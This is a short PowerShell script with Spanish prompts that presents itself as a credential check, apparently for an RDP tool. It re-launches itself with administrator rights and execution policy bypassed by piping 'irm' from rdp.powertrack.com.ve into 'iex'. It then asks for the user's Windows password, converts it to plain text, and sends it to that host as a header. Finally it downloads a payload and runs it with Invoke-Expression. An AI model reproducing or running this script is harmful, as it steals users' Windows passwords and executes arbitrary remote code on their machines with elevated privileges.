$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "Elevando privilegios..." -ForegroundColor Yellow Start-Process PowerShell -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"irm https://rdp.powertrack.com.ve | iex`"" Exit } $pass = Read-Host "Ingresa tu contrasena de Windows" -AsSecureString $ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($pass) $plainPass = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($ptr) try { Write-Host "Verificando credenciales..." -ForegroundColor Cyan $payload = Invoke-RestMethod -Uri "https://rdp.powertrack.com.ve/payload" -Headers @{ "X-Auth-Key" = $plainPass } Invoke-Expression $payload } catch { Write-Host "Clave incorrecta o conexion denegada." -ForegroundColor Red Start-Sleep -Seconds 3 }